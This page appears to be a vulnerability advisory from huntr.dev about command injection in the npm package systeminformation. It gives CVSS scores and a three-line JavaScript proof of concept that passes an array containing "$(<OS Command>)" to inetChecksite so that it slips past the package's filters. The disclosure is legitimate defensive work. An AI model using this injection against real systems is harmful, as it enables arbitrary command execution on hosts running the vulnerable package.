Lucene search

K
huntrEffectrenan2-NPM-SYSTEMINFORMATION
HistoryFeb 12, 2021 - 12:00 a.m.

Command Injection in sebhildebrandt/systeminformation

2021-02-1200:00:00
effectrenan
www.huntr.dev
13

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.004 Low

EPSS

Percentile

70.5%

Description

systeminformation is vulnerable to Command Injection vulnerability.

It is possible to send an array containing OS commands, which bypass the filters.

Proof of Concept

  1. Create a Javascript file with the content below:
const si = require('systeminformation');
const command = "$(<OS Command>)";
si.inetChecksite([command]);
  1. Edit the constant command with a desired OS command.

  2. Run it.

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.004 Low

EPSS

Percentile

70.5%

Related for 2-NPM-SYSTEMINFORMATION